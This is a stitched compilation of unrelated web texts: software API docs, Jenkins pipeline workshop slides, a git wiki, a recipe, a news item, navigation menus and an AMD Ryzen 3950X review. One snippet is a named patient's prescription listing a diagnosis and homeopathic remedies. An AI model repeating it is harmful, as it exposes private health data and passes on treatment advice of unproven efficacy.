| permutation | The dimension permutation applied before the reshape. |
The default is the identity permutation.
|
pure virtual |
Relaxes ILayer::setInput to allow appending a second input.
Like ILayer::setInput, but additionally works if index==1, nbInputs()==1, and there is no implicit batch dimension, in which case nbInputs() changes to 2.
When there is a 2nd input, the reshapeDimensions are taken from it, overriding the dimensions supplied by setReshapeDimensions.
Implements nvinfer1::ILayer.
|
pure virtual |
Set the reshaped dimensions.
| dimensions | The reshaped dimensions. |
Two special values can be used as dimensions.
Value 0 copies the corresponding dimension from input. This special value can be used more than once in the dimensions. If number of reshape dimensions is less than input, 0s are resolved by aligning the most significant dimensions of input.
Value -1 infers that particular dimension by looking at input and rest of the reshape dimensions. Note that only a maximum of one dimension is permitted to be specified as -1.
The product of the new dimensions must be equal to the product of the old.
If there is a second input, i.e. reshape dimensions are dynamic, calling setReshapeDimensions() is an error and does not update the dimensions.
|
pure virtual |
Set the permutation applied by the second transpose operation.
| permutation | The dimension permutation applied after the reshape. |
The default is the identity permutation.
The permutation is applied as outputDimensionIndex = permutation.order[inputDimensionIndex], so to permute from CHW order to HWC order, the required permutation is [1, 2, 0].


These slides use reveal.js
Clone them from https://github.com/mgfeller/cd-jenkins-workshop-slides.
Open index.html in a browser, and choose relevant chapter.
Navigate to next slide by using the
SPACE key.
See overview over all slides by pressing ESC.
(Can be skipped if you have received a provisioned box.)
(Can be skipped if you have received a provisioned box.)
node {
stage 'Checkout'
git url: 'https://github.com/mgfeller/sample-spring-app.git'
def mvnHome = tool 'M3'
stage 'Build'
sh "${mvnHome}/bin/mvn clean package -DskipTests"
}
Click 'Save', then 'Build now'.
stage 'Unit Test'
sh "${mvnHome}/bin/mvn test -DpipelineFailOneTest=true"
stage 'Deploy'
echo "Deployed!"
Click 'Save', then 'Build now'.
stage 'Unit Test'
try {
sh "${mvnHome}/bin/mvn -B test -DpipelineFailOneTest=true"
} catch (err) {
step([$class: 'JUnitResultArchiver',
testResults: '**/target/surefire-reports/TEST-*.xml'])
throw err
}
Click 'Save', then 'Build now'.
step([$class: 'JUnitResultArchiver',
testResults: '**/target/surefire-reports/TEST-*.xml'])
mail subject: 'Build Failed - Failed Unit Tests.',
body: 'The workshop build failed!',
charset: 'utf-8',
from: 'vagrant@localhost',
mimeType: 'text/plain',
to: 'vagrant@localhost'
throw err
Build, execute vagrant ssh and check your mail!
sh "git --no-pager show -s --format='%an <%ae>' > lastAuthor.txt"
lastAuthor = readFile('lastAuthor.txt').trim()
echo "Last author: ${lastAuthor}"
Note: the workshop email server is not set up to handle external email addresses.
(Can be skipped if you have received a provisioned box.)
// adjust this line, set -DpipelineFailOneTest=false
sh "${mvnHome}/bin/mvn -B test -DpipelineFailOneTest=false"
stage 'Deploy'
sh "${mvnHome}/bin/mvn deploy"
From http://semver.org/ (Semantic Versioning 2.0.0):
Given a version number MAJOR.MINOR.PATCH, increment the:
Additional labels for pre-release and build metadata are available as extensions to the MAJOR.MINOR.PATCH format.
(not semantic, for the time being)
stage 'Build'
def version = "${BASE_VERSION}-" +
currentBuild.number.toString().padLeft(4,'0')
sh "${mvnHome}/bin/mvn versions:set -DnewVersion=${version}"
sh "${mvnHome}/bin/mvn clean package -DskipTests"
Uncheck 'Use Groovy Sandbox' in pipeline configuration.
Click 'Save', then 'Build with Parameters'.
Use the 'sample-spring-app'-repository from your github account (use SSH).
stage 'Checkout'
git url: 'git@github.com:mgfeller/sample-spring-app.git'
stage 'Tag'
sh "git config user.name \"Vagrant Builder\""
sh "git config user.email vagrant@localhost"
def comment = "\"Automatically created tag ${version}\""
sh "git tag -a -m ${comment} ${version}"
sh "git push origin ${version}"
Click 'Save', then 'Build with Parameters'.
stage 'Deploy'
timeout(time: 20, unit: 'SECONDS') {
input message: 'Do you want to deploy version, ' +
version + '?', ok: 'Deploy'
}
sh "git config user.name \"Vagrant Builder\""
sh "git config user.email vagrant@localhost"
def comment = "\"Automatically created tag ${version}\""
sh "git tag -a -m ${comment} ${version}"
sh "git push origin ${version}"
sh "${mvnHome}/bin/mvn deploy"
Move tagging to this stage as well. Save and build. Hover over deploy-stage when it pauses.
parallel (
"stream 1" : { ... steps ... },
"stream 2" : { ... steps in parallel ... }
)
If one stream fails, the whole parallel block fails.
parallel(
'licenseCheck': { sh "${mvnHome}/bin/mvn license:check" },
'unitTest': {
try {
sh "${mvnHome}/bin/mvn -B test -DpipelineFailOneTest=false"
} catch (err) {
step([$class: 'JUnitResultArchiver',
testResults: '**/target/surefire-reports/TEST-*.xml'])
// mailing code here
throw err
}
}
)
stage "IT"
try {
sh "${mvnHome}/bin/mvn -B test -Pit"
} catch (err) {
step([$class: 'JUnitResultArchiver',
testResults: '**/target/surefire-reports/TEST-*.xml'])
// mailing code here
throw err
}
stage name: 'Deploy', concurrency: 1
Save, then start two concurrent builds.


Comments
-
Greg Hurrell
I don't know whether the issue is exacerbated by LeoColorBar or not. Can you tell me the names of the buttons sets in those screenshots? It would be interested to compare how they looked on a non-modified menu bar.
In any case, there's not really anything that Synergy can do about these edge glitches. It's really something that the individual button set authors would have to look at, tweaking their graphics so that they look best on Leopard.
-
Peter Payne
Hi, looksl ike the buttons were Divide and hmm, I can't find it now but it's there. Brushed also looks kind of bad, with white artifacts, but others, like Rings, look fine. I'd guess it's trying to anti-alias with the color in the background? I agree it is a small thing.
-
Greg Hurrell
I don't think anti-aliasing is actually involved at all, or at least I doubt it.
Basically all of the button sets use button graphics with transparent backgrounds. How well a button set blends into a particular background depends on many things: the colors the designer chose, the application they used, what kind of aliasing/blending they use inside the image itself (ie. not aliasing done by the system at draw-time).
So I really think it's just that most of the button sets were made before Leopard came out and were tested with Jaguar, Panther and then Tiger. Now that Leopard is out we'll start seeing more button sets that look good on Leopard (actually, I've got a few that have been submitted and will be published with the final 3.5 release).
Add a comment
Comments are now closed for this issue.


{% extends 'base.html' %} {% block title %}Policy Manager{% endblock %} {% block morehead %} {% endblock %} {% block body %} {% include 'logout.html' %} Policy Manager {% if user != "GUEST" %} Dash {% endif %} {% raw %} Help with Policy Manager {{tank.name}} {{tank.name}} Owner: {{tank.policy.owner}} {{tank.desc}} ConstraintMembers {{constraint}} {{member}} everyone {{editTank.name}} Owner: Description: ConstraintMembers {{constraint}} {% endraw %} {% endblock %} {% block scripts %} {% endblock %}
Help with Policy Manager
Owner: {{tank.policy.owner}}
{{tank.desc}}
Owner:
Description:


user_read()
spio_t_error_code user_read( void *user_data, void *buf, size_t *pbuf_size, spio_t_bits read_options );
This is the prototype for one of the methods of user defined streams. It is used when SICStus need to obtain more data from the user defined stream.
SP_create_stream()
.
*pbuf_size
should be set to the number of
bytes stored in the buffer, which should always be positive for
successful return.
Note that buffer size is measured in bytes also for text streams.
SPIO_DEVICE_READ_OPTION_BINARY
*pbuf_size
bytes.
SPIO_DEVICE_READ_OPTION_TEXT
spio_t_wchar
. Note that *buf_size
is size in
bytes, not in characters.
SPIO_DEVICE_READ_OPTION_NONBLOCKING
SPIO_E_WOULD_BLOCK
code.
If your user_read
will never block, you can ignore this value.
You should return SPIO_E_NOT_SUPPORTED
if user_read
cannot support non-blocking read.
On success, *pbuf_size
should be assigned and
SPIO_S_NOERR
or some other success code returned.
On failure, return a SPIO error code. Error codes with special meaning
for user_read
:
SPIO_E_END_OF_FILE
SPIO_E_WOULD_BLOCK
SPIO_DEVICE_READ_OPTION_NONBLOCKING
was set but the operation
would block.
SPIO_E_NOT_SUPPORTED
SPIO_DEVICE_READ_OPTION_NONBLOCKING
, was passed.
Other error codes may also be returned.
Should fill buf
with up to *buf_size
bytes of data. Data
should be either bytes, for a binary device, or spio_t_wchar
(32 bit) wide characters, for a text device.
cpg-ref-SP_create_stream. Defining a New Stream.


JSpeex JavaSound SPI package.
It contains the JavaSound SPI (Service Provider Interface) classes for Speex.
$Id: package.html,v 1.1 2004/10/20 17:50:54 mgimpel Exp $


Get into a rut early: Do the same process the same way. Accumulate idioms. Standardize. The only difference(!) between Shakespeare and you was the size of his idiom list - not the size of his vocabulary. --[source]


Preparation time
less than 30 mins
Cooking time
30 mins to 1 hour
Serves
Makes 12 Yorkshire puddings
If you like your canapés on the generous side, then these are the ones for you. Packed with a tasty Spanish-style filling, they add a continental twist to an old favourite.
Preheat the oven to 250C/230C Fan/Gas 9.
For the Yorkshire puddings, add 1 teaspoon of oil to each hole of a muffin tin. Place the tray on the top shelf of the oven to preheat the oil.
In a large mixing bowl, sift in the flour, salt, mustard powder and pepper. In a jug, combine the milk and 75g/2½oz cold water. Make a well in the flour mixture and crack in the eggs. Whisk to combine (the consistency should be a very thick batter). Slowly add the milk mixture and whisk until the consistency of single cream. Decant into a pouring jug and leave to rest at room temperature for 30 minutes.
Remove the preheated tins from the oven and quickly pour in about 5mm depth of batter into each hole, taking care to protect yourself from any splashes of hot oil. The oil should sizzle when the batter is poured in.
Quickly return to the top shelf of the oven and bake for 15 minutes until browned and well risen. Don’t open the oven door until they are cooked or the puddings will collapse. Remove each pudding from the tin and place on a wire rack to cool.
For the filling, put the stock cube in a measuring jug and add 200ml/7fl oz boiling water. Mix until dissolved then add the saffron. Set aside.
Heat the oil in a large frying pan set over a medium heat. Add the onion and cook for 5 minutes until soft and golden-brown. Add the chicken and cook for 3 minutes, or until the chicken is starting to brown. Add the chilli and cinnamon and cook for a few minutes. Add the saffron stock, cider vinegar, tomatoes, honey and sultanas to the pan and bring to the boil. Turn down the heat and simmer for 10 minutes to reduce the sauce.
Pick 12 coriander leaves and set aside to use as a garnish. Finely chop the remainder and stir into the sauce.
To serve, use a paring knife to cut a well in the centre of each pudding. Fill each Yorkshire with the filling. Scatter the toasted almonds on top and garnish with a coriander leaf.


Bucket to be prepended to the metrics you are sending (with trailing period). Example:
- service.jenkins.pipeline-metrics.
Final metrics paths will follow the pattern:
- {bucket}.{folder}.{subfolder}.{job name}.{branch}.job.status
- {bucket}.{folder}.{subfolder}.{job name}.{branch}.job.duration
- {bucket}.{folder}.{subfolder}.{job name}.{branch}.stage.{stage name}.status
- {bucket}.{folder}.{subfolder}.{job name}.{branch}.stage.{stage name}.duration
Note: For non multibranch pipelines the branch portion of the path is omitted.


A regular expression (abbreviated regexp) is a sequence of characters that forms a search pattern. It is a very powerful tool (altough sometimes a little tricky) to logically define how to match series of characters.
If you want to learn how to use regexp, you can go through this tutorial. If you just want a quick syntax reference, here is a cheat sheet. And finally, you can live test your regular expressions with this tool.
Note : because of the nature of web pages, the ^ and $ boundaries (used to match beginning and end of a string / line) will not work as expected. They will match beginning and end of text nodes, which might not correspond with perceived text blocks in the browser.
The replacement function will be executed for each match. This function receives two arguments : 'node', the DOM node in which there was a match, and 'match', the result array as returned by RegExp.prototype.exec().
So match[0] is the matched strings, match.index is the start position of the matched string in the text node's content and match[n] is the nth parenthesized substring matche (if defined).
For example, here is a function that wraps the match in a 'em' tag.
var wrap = document.createElement('em');
node.splitText(match.index+match[0].length);
wrap.appendChild(node.splitText(match.index));
node.parentNode.insertBefore(wrap, node.nextSibling);


Attendee |
data class Attendee |
CreateAttendeeResponse |
data class CreateAttendeeResponse |
CreateMeetingResponse |
data class CreateMeetingResponse |
DefaultMeetingSession |
class DefaultMeetingSession : MeetingSession |
MediaPlacement |
data class MediaPlacement |
Meeting |
data class Meeting |
MeetingSession |
MeetingSession contains everything needed for the attendee to authenticate, reach the meeting service, start audio, and start video interface MeetingSession |
MeetingSessionConfiguration |
MeetingSessionConfiguration includes information needed to start the meeting session such as attendee credentials and URLs for audio and video data class MeetingSessionConfiguration |
MeetingSessionCredentials |
MeetingSessionCredentials includes the credentials used to authenticate the attendee on the meeting data class MeetingSessionCredentials |
MeetingSessionStatus |
MeetingSessionStatus indicates a status received regarding the session. data class MeetingSessionStatus |
MeetingSessionStatusCode |
MeetingSessionStatusCode provides additional details for the MeetingSessionStatus received for a session. enum class MeetingSessionStatusCode |
MeetingSessionURLs |
MeetingSessionURLs contains the URLs that will be used to reach the meeting service. data class MeetingSessionURLs |
URLRewriter |
URLRewriter Function to transform URLs. Use this to rewrite URLs to traverse proxies. typealias URLRewriter = (url: String) -> String |
defaultUrlRewriter |
The default implementation returns the original URL unchanged. fun defaultUrlRewriter(url: String): String |


Pricing
About us
Help
Sign up for Team account
Create an account to keep track of your customers, and contributors. Already have an account?
Log in here


virt-viewer
Minimal graphical interface for a virtual machine (VM).
NOTE: 'domain' refers to the name, UUID or ID for the existing VMs (See: tldr virsh).
More information: home page
- Launch `virt-viewer` with a prompt to select running virtual machines:
virt-viewer
- Launch `virt-viewer` for a specific virtual machine by ID, UUID or name:
virt-viewer "domain"
- Wait for a virtual machine to start and automatically reconnect if it shutdown and restarts:
virt-viewer --reconnect --wait "domain"
- Connect to a specific remote virtual machine over TLS:
virt-viewer --connect "xen//url" "domain"
- Connect to a specific remote virtual machine over SSH:
virt-viewer --connect "qemu+ssh//username@url/system" "domain"


Good Day Mr. Vandelay, welcome aboard.
My Schedule
add-outline
Created with Sketch.
Vacation Days
add-outline
Created with Sketch.
Sick Days
add-outline
Created with Sketch.
Holidays
Bidding
Reporting
add-outline
Created with Sketch.
I-21 Injury Reporting
ASAP Reporting
General ASAP Information
Flight Attendant Incident Report
Agriculture & Customs
add-outline
Created with Sketch.
Bad Plants
Customs List
Known Crewmember
Product Safety Data Search
OJI and Leaves
add-outline
Created with Sketch.
Pay and Benefits
add-outline
Created with Sketch.
Performance
add-outline
Created with Sketch.
Inflight Resource Directory
Mobile and Web
add-outline
Created with Sketch.
AFA
Training
Catering & Brand
add-outline
Created with Sketch.
Hotels
My Base
Recognition
My Leadership Team
Shape
Created with Sketch.
My Schedule & Bidding
Shape
Created with Sketch.
Safety
Shape
Created with Sketch.
Administration
More


About this wiki
GIT BRANCHES
List branches
List remote and local branches
List local branches
Move between branches
Create new branches
Create new branch
Create new local branch that tracks remote existing branch (the same name of remote branch)
Delete branches
Delete remote branch (not the local copy)
Delete local branch (not the remote copy)
Renaming branches
Rename a local branch
Rename a remote branch
Working with branches
Reset local branch to look like a remote brach
GIT REMOTES
List Remotes
Add a remote
$ git branch -a
$ git branch -l
$ git checkout local_branch_name
$ git branch branchname
$ git checkout --track origin/remote_branch_name
As of Git v1.7.0, you can delete a remote branch using
$ git push origin --delete <branchName>
Which is easier to remember than
$ git push origin :<branchName>
which was added in Git v1.5.0 "to delete a remote branch or a tag."
$ git brach -d name_of_branch_to_delete
This will not affect the remote branch
$ git branch -m old_branch_name new_brach_name
Before renaming a remote branch, we know we can simply rename a local branch by using following command:
$ git branch -m old_branch_name new_brach_name
But, for a remote branch on Github, we need to follow these 3 steps:
Rename the branch in your local repository.
$ git branch -l
master
*branch01
$ git branch -m branch01 branch02
$ git branch
master /
*branch02
Remove the branch name you want to change on GitHub.
$ git push origin :branch01
To git@github.com:your_user_name/your_project.git
- [deleted] branch01
Push the new local branch name to GitHub.
$ git push origin branch02
Counting objects: 56, done.
Delta compression using up to 4 threads.
Compressing objects: 100% (44/44), done.
Writing objects: 100% (44/44), 127.97 KiB, done.
Total 44 (delta 18), reused 1 (delta 0)
To git@github.com:your_user_name/your_project.git
* [new branch] branch02 -> branch02
Done.
Before reseting is worth to keep a copy of the branch you are reseting. Create a new branch from there by
$ git branch local_branch_name
Then tell git to fetch all the branches and information on remote
$ git fetch --all
Tell to the branch you are working (local_branch_name in this case) to track a remote branch
$ git reset --hard origin/remote_branch_name
Finally pull the changes
$ git pull
You end up with two local branches, the old one you discarded and the new you've just created which tracks the remote branch you choose.
To list the remotes associated with the repository
$ git remote -v
You can have many "remotes" that store branches of the same repo (no matter if the name is the same) To add a remote:
$ git remote add remote_name remote_url(with .git)
For example:
$ git remote add dev user@server.domain.do:~/MyRepo.git
Adds a remote called dev
on the server server.domain.do
in the repository MyRepo
.
when you call remote -v
you would get the list of actual remotes


Home
Gender and Sexuality
Civil and Human Rights
Environment
Foreign Aid
Education and Youth Empowerment
Health, Food and Shelter
Campaign Generator
About Us
Health, Food & Shelter
Find the nearest Health, Food & Shelter organizations in your area, and how you can get involved!


Cabinet approves 2-year moratorium on spectrum dues from telcos
Sitharaman said the years of deferment of payments will be from 2020 to 2021 and 2021 to 2022
by Moneycontrol NewsFinance Minister Nirmala Sitharaman on November 20 announced that the Cabinet has approved deferring receipts due from Telecom Service Providers (TSPs) for spectrum payment for a period of two years.
Sitharaman said the years of deferment of payments will be spectrum auctions for years 2020 to 2021 and 2021 to 2022
"These deferred amounts will be equally spread over the remaining instalments to be paid by the TSPs without any increase in the existing time period specified for making the instalment payment," said Sitharaman.
The interest, as stipulated, while auctioning the concerned spectrum will, however, be charged so that the net present value (NPV) of the payable amount will be protected, she said
"The TSPs will continue to pay to securitise the next payable annual instalment by a financial bank guarantee of an amount equivalent to the instalment," said Sitharaman.


>
🧑🤝🧑
Volunteer
💳
Donate
Real-Time Search for Verified Covid-19 Resources
Which city are you looking for help in?
Enter City or Region Name
What resources are you looking for?
Can select multiple options
Beds
ICU
Oxygen
Concentrators
Ventilator
Fabiflu
Remdesvir
Favipiravir
Tocilizumab
Plasma
Tests
Are you looking for some other resource?
Type what you're looking for
Search
clear
NOTES
For Real-time Availability, view results under
“Latest”
section
BE CAUTIOUS
in dealing with advance payments.
DO NOT
make advance payments unless 100% sure.
clear
Loading…
clear
Help fight covid in India
Goonj
Indian Donors:
Donate
International Donors:
Donate
PM CARES
Donate
Zomato
Donate


glow.widgets.Overlay
Showing / Hiding Flash & other elements
- Toggle Overlay
- Panel should appear in the bottom-right of the view
- Resize the view, ensure the panel stays in the bottom-right
- Once the overlay shows, the first smiley beneath the "Toggle Overlay" link should remain, the 2nd should hide (as it may appear on top of the overlay)
- Once the overlay shows, the red square beneath the "Toggle Overlay" link should hide, the green square should remain
- Within the overlay, there should be a smiley & a green square
Overlay 1
Overlay positioning
Overlay 2
Large amounts of content
- Show Overlay
- Overlay should be modal (have a mask)
- Clicking the mask should close the overlay
- Resize the window so it's shorter than the overlay, you should be able to scroll up to "Content start" and down to "Content End"
- When the overlay closes, this link should have focus
Content start
Content
Content
Content
Content
Content
Content
Content
Content
Content
Content
Content
Content
Content
Content
Content end


Build BekyCook restaurant in 2011, Experienced with American cuisine. You need special foods for a real experience.
Rose Baker from Chicago, US. Started to like cooking since childhood. In 2011 when join Masterchef and became a winner. She owns many restaurants all over the states of America.
It is a convenience cuisine dish composed of a rice base and several toppings. It is prepared by topping rice with toppings such as chicken, chicken gravy, diced pineapple, diced tomatoes, Chinese noodles, cheese, and celery.
A pilaf dish made of rice and chicken. It can include onion, spices, and sometimes sausage. A whole chicken is boiled until tender (with the sausage, onion, and spices, if included), then the rice is added and cooked until it absorbs all the liquid.
dumplings composed primarily of cooked rice, yeast, sugar, eggs, and flour; the resulting batter is deep-fried. It is traditionally a breakfast dish, served with coffee and has a mention in most Creole cuisine cookbooks.
“You can find manys restaurants that provide chicken bog.
But Rose Baker gives a different taste. This is the best chicken bog in my life “
- Walter Samuel
“Love rice bowl and chicken. Delicious and perfect taste “
- Sasha
“Best in town food and cake.
Rose Baker gives a special taste in every food “
- William Barak
Facebook : Bekycook Resto
Twitter : @rosebabaker
Instagram : @rosebabaker


Certain aspects of the Digital Chroma note and control processing are performed before the {_player players}, so that the {MIDI_record_output} can reflect the results of this processing. This includes the following:
The preprocessing is controlled by the relevant parameters in the Main and Link players. The reason certain parts of the performance processing is performed prior to the where the Main and Link channels are output to the {_USB_device_port} for recording is so that sequences will contain the actual notes heard, and not the keys pressed. Note that this means that the players connected to the 64 USB device port channels don't do any of this processing (e.g., arpeggiation), because they assume that what is being played into them is already the result of this processing.


My Team Details
Size
DPS
Toughness
Enemy Team Details
Size
DPS
Toughness
Battle results
Team
Time (sec)
Friendly
1


Name: SMT.P.SREE LATHA
Age/Sex:34 /FEMALE
Diagnosis:CHOLELITHIASIS?
Rx:
1.Lyco 6c – 4doses /weekly/once
2.Nat 30 –morning-4 before food
3.Diskets –chel 6c =3-0-3 before food
4.Rub tab 30 –Afternoon-1tab before food
5.Cho 30 –night-4 before food
FOR AFTER 4 MONTHS


The conference will open at 8:45 with a coffee reception.
The two guided conversation tracks are in the big room at the back and the workshop track is in the bar area.
Lunch will be provided on site. If you have any dietary requirements please contact us.
After the conference we'll be heading to the bar in DryGate for a well earned drink and we'd love you to join us.
All developers work differently, all teams work differently and we all collaborate differently. Most of us know of Pair and Mob programming but do not often get the chance to compare and contrast these approaches.
During this workshop, you will have the opportunity to try collaborative coding in a number of different group sizes. We will work on a series of problems using a single coder, a pair and mob programming. Depending on attendance, we may also try out a triple and a quartet.
The aim of the workshop is to provide attendees the opportunity to try out different collaboration approaches and to discuss:
Due to the nature of the workshop, not everyone needs to bring a laptop with an IDE, but we don't want to be short of singles and pairs so please plan to bring one if you are attending.
Back to scheduleIn this workshop you’ll be given a simple project with regressions tests and be asked to refactor the code to make it more maintainable and to add some new functionality.
We’ll code in pairs and then each pair will share their solution with the group.
The aim of the workshop is to discuss:
If you wish to attend please bring a laptop and download the source from here.
The code has been translated into several languages so you can do the workshop in a language you’re familiar with. Please pick one version and get the code and tests running before you start the workshop. All the versions are functionally identical.
Back to schedule


Trader Simplon:
What would like to do?
Buy equipment for Fighters.
Buy equipment for Wizards.
Exchange equipment.


AMD Ryzen 9 3950X review
by Jarred WaltonBack in July, AMD launched a massive 7nm offensive in the CPU world. I called the Ryzen 9 3900X "the most compelling enthusiast CPU from AMD in the past 15 years," and it's on our best CPU for gaming list. What can AMD do for an encore? More cores, more threads, potentially higher clockspeeds, naturally. I've had the Ryzen 9 3950X in house for testing for the past week or so, and it really impresses in some areas, though it's not quite as awesome in other respects.
Let's start with the best use case, which is basically anything in the content creation realm. With 33 percent more cores than the 3900X and similar clockspeeds, it's usually 25-30 percent faster. If you do video editing, 3D rendering, or any other task that can benefit from a 32-thread processor, you'll love the 3950X. For tasks that don't scale well to 16 cores, though, you're better off with a less expensive part. That's pretty much what I've been saying about all the current HEDT (High-End Desktop) processors since Ryzen 3000 arrived, but even though the 3950X is nominally a consumer CPU—it runs in the same socket AM4 motherboards as the other Ryzen CPUs—it costs a lot more. It's an HEDT CPU for a mainstream socket.
AMD's current lineup of Ryzen 3000 processors is seriously potent. They're not always the best choice for a gaming-centric build, but the difference in gaming performance between the affordable Ryzen 5 3600 and the more expensive Ryzen 9 3900X is relatively small. Ryzen 9 3950X is priced 50 percent higher than the 3900X, which might not seem like that big of a deal for 33 percent more cores, but like all of Intel's K-series and X-series CPUs it doesn't include a cooler in the box. AMD also recommends liquid cooling to get the most out of the 3950X, which is an additional $100-$200 more than the base price (depending on your cooler).
That recommendation did make me wonder just how necessary liquid cooling is, and I've got testing results for the 3950X running with both a Wraith Prism cooler as well as an extremely capable NZXT Kraken X62. You might be surprised how little difference there is between the two at stock settings.
AMD has doubled down on its successful chiplet strategy from the Threadripper series.
Fundamentally, the Ryzen 3950X is the same Ryzen 3000 and Zen 2 architecture as the existing third generation parts. Besides improvements to the underlying architecture, AMD also doubled down on its successful chiplet strategy from the Threadripper series. The 3900X and 3950X both feature two 8-core chiplets in the package (though one core on each of the four CCX—core complex or CPU complex—is disabled on the 3900X), whereas the 3800X, 3700X, 3600X, and 3600 all use a single 8-core chiplet.
The key is that there's also a cIOD (IO die) in the package that houses the memory controllers and other functionality, linked to one or two CCDs via AMD's Infinity Fabric. The cIOD is fabricated on 12nm tech, but it doesn't really need to be on 7nm right now. The important bit is that it provides relatively uniform memory access latencies to the CCDs, which means there shouldn't be any latency penalties with the 12-core and 16-core models compared to the 6-core and 8-core offerings.
All of that is well and good, but there's one other element to AMD's Ryzen CPUs I need to discuss before getting to the results. As part of the motherboard firmware, AMD has a package of logic functionality called AGESA (AMD Generic Encapsulated Software Architecture). This microcode handles things like memory training, infinity fabric details, and more. The very first Ryzen CPUs (back in 2017) had some serious teething problems at launch that were mostly cleared up with BIOS updates that included newer AGESA code.
The issue I ran into with this review is that AMD also provided AGESA <IP_ADDRESS> firmware that was required to properly run Ryzen 9 3950X—or at least, AMD said it was required and I didn't bother trying to test without the new firmware. But changing firmware on a motherboard has the potential to affect other aspects of performance as well, and right now, with test results initially limited to a single motherboard, I'm seeing slightly lower performance in some benchmarks than I expect.
I'm pretty sure the AGESA update, or at least the MSI implementation of it, has affected gaming performance in a negative way. That or drivers and game updates have changed since I last tested a Ryzen CPU (which was only two weeks ago with the Ryzen 5 3600). For now, I'm not posting this as a scored review, as I want to verify performance with another motherboard. Performance in non-gaming tasks is great, and gaming performance isn't bad… but my current numbers are worse than the 3900X and 3700X, and basically tied with the 3600X and 3600. That doesn't make any sense, considering it's supposed to have equal or higher clockspeeds than those parts, plus more cores.
Not that gamers should really be considering the 3950X. It costs $749 just for the CPU, which is more than an RTX 2080 Super that would be far more beneficial for gaming purposes. There really aren't any tasks where the 3900X or 3700X are insufficient and the 3950X is required. The 3950X will be faster at multithreaded tasks, and it's great for content creation duties, but outside of professional work it's not really necessary.
Ryzen 9 3950X testbed
Ryzen 9 3900X
NZXT Kraken X62
MSI MEG X570 Godlike
16GB G.Skill DDR4-3200 CL14
Corsair Force MP600 2TB
EVGA SuperNOVA 1000 G3
Adata XPG Battlecruiser
You can see my testbed at the right, which is largely the same as in previous Ryzen 3000 reviews. The main difference is that AMD also sent along a Kraken X62 liquid cooler, because air cooling isn't 'recommended'—and I stuffed everything into Adata's new XPG Battlecruiser case. I tested previously with DDR4-3200 CL14 memory and DDR4-3600 CL16 memory, and overall the CL14 RAM performed best. It's possible to manually tweak the memory timings to further improve performance, but I try to provide a realistic view of "out of box" performance.
Overclocking is a bit of an afterthought for the 3950X. You can probably do 4.1-4.3GHz on all 16 cores with the right cooling and some luck from the silicon lottery, but you'll give up maximum singlethreaded performance in doing so. At stock, I saw all-core clockspeeds hover in the 3900-4000 MHz range, depending on the workload, and games would routinely run at 4200-4300 MHz. Enabling Precision Boost Overdrive might boost performance a bit as well, and I'll look at that a bit more on some other motherboards.
Ryzen 9 3950X gaming performance
This isn't really a gaming CPU, though it can obviously be used for games. Right now, I'm aware of only one game that consistently shows scaling beyond 8-core CPUs: Ashes of the Singularity. That's partly because the game was purpose built to put a heavier load on the CPU at higher quality settings. In most other games, the 8-core/8-thread i7-9700K is just as fast as the i9-9900K, sometimes even beating it as it doesn't have to deal with the partitioning of resources that Hyper-Threading entails.
With more cores and threads but the same TDP as the 3900X, average clockspeeds may actually be lower in some workloads, and AGESA updates have just as often reduced performance while improving stability in my experience. That's all a preface to the charts that show the 3950X trailing the other third generation Ryzen parts.
All the gaming benchmarks are run multiple times, using the best result, to ensure consistency of performance. I use an RTX 2080 Ti and run at 1080p ultra (generally the highest possible settings, outside of MSAA and SSAA) to allow for differences in CPU performance. If you're wondering what performance looks like at 1440p or 4K, just check out any of my recent performance analysis articles—basically, the CPU becomes less important at higher resolutions, and similarly, the CPU is less of a factor with slower graphics cards. Minimum fps is calculated as the average fps for the bottom three percent of frametimes—find the 97 percentile frametime, and sum up all frametimes above that, dividing by the number of frames. This provides a more useful metric than pure minimum fps or pure 97 percentile.
Image 1 of 10
Image 2 of 10
Image 3 of 10
Image 4 of 10
Image 5 of 10
Image 6 of 10
Image 7 of 10
Image 8 of 10
Image 9 of 10
Image 10 of 10
Image 1 of 10
Image 2 of 10
Image 3 of 10
Image 4 of 10
Image 5 of 10
Image 6 of 10
Image 7 of 10
Image 8 of 10
Image 9 of 10
Image 10 of 10
You can hopefully see why I'm a bit perplexed with the gaming performance of the 3950X. It's not horrible by any stretch, but there's no good reason for it to fall behind the 3700X and 3900X. Clockspeeds looked okay during testing, and it has more than twice as many cores. Perhaps the games are just scheduling work in a less than optimal fashion, but then why doesn't that also happen with the 3900X? Which is why I suspect AGESA or driver updates as the real culprit and need to do some additional testing.
Overall, the Ryzen 9 3950X delivers good gaming performance but not chart-topping results. It's almost a four way tie between the various Ryzen 3000 parts, with the biggest gap being less than 10 percent from the 3600 to the 3900X. As for Intel, the i9-9900K is about 11 percent faster and the limited edition 5GHz i9-9900KS is 14 percent faster. For pure gaming, Intel is still in the lead, and the 3950X doesn't even have lower pricing as a benefit… unless you include the Core i9-9980XE, which costs substantially more and still delivers worse overall gaming performance.
Ryzen 9 3950X application performance
I hope that's clear that gaming performance isn't the primary purpose of the 3950X. It can run games, but it does best when dealing with more difficult workloads that scale with core and thread counts, with clockspeed being less of a factor. Check out the 3950X application performance:
Image 1 of 22
Image 2 of 22
Image 3 of 22
Image 4 of 22
Image 5 of 22
Image 6 of 22
Image 7 of 22
Image 8 of 22
Image 9 of 22
Image 10 of 22
Image 11 of 22
Image 12 of 22
Image 13 of 22
Image 14 of 22
Image 15 of 22
Image 16 of 22
Image 17 of 22
Image 18 of 22
Image 19 of 22
Image 20 of 22
Image 21 of 22
Image 22 of 22
Compared to the 3900X, the 3950X is up to 33 percent faster in heavily threaded workloads. Overall, however, it's only 17 percent faster in multithreaded testing. That's partly because of the AES performance, which is oddly low, and y-cruncher likes the AVX512 capabilities of Intel's HEDT parts. Regardless, even with several different 3D rendering engines, video encoding, and cryptographic workloads, scaling beyond a 12-core/24-thread processor is difficult.
Looking at Intel's CPUs, the competition isn't even close. The 3900X already beats the 9900K and 9900KS in multithreaded performance (though a few tasks like VeraCrypt AES favor Intel's CPUs). The 3950X meanwhile ends up 44 percent faster in the overall metric against the 9900K, and 38 percent faster than the 9900KS. With twice as many cores and threads, that's hardly surprising.
Intel knows it's behind on the core and lithography battles.
